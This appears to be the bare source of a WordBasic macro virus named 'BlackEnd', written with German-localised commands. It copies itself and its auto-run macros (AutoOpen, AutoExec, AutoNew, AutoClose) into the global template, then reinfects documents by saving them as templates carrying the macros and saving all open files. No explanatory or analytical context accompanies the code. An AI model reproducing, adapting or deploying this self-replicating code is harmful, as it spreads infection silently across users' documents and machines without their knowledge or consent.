Sub MAIN
On Error Goto Finish2

For i = 1 To ZhlenMakros(0, 0)
	If MakroName$(i, 0, 0) = "BlackEnd" Then
		VInstalled = 1
	End If
Next i

If VInstalled = 1 Then
	Goto Finish
Else
	On Error Resume Next
	MakroKopieren DateiName$() + ":BlackEnd", "Global:BlackEnd", 1
	MakroKopieren DateiName$() + ":AutoNew", "Global:AutoNew", 1
	MakroKopieren DateiName$() + ":AutoClose", "Global:AutoClose", 1
	MakroKopieren DateiName$() + ":AutoExec", "Global:AutoExec", 1
	MakroKopieren DateiName$() + ":AutoOpen", "Global:AutoOpen", 1
End If

Finish2:
On Error Goto Finish

For i = 1 To ZhlenMakros(1, 0)
	If MakroName$(i, 1, 1) = "BlackEnd" Then
		VInstalled = 1
	End If
Next i

If VInstalled = 1 Then
	Goto Finish
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	MakroKopieren "Global:AutoOpen", DateiName$() + ":AutoOpen", 1
	MakroKopieren "Global:BlackEnd", DateiName$() + ":BlackEnd", 1
	MakroKopieren "Global:AutoExec", DateiName$() + ":AutoExec", 1
	MakroKopieren "Global:AutoNew", DateiName$() + ":AutoNew", 1
	MakroKopieren "Global:AutoClose", DateiName$() + ":AutoClose", 1
	DateiAllesSpeichern 1, 0
End If

Finish:
Call BlackEnd
End Sub
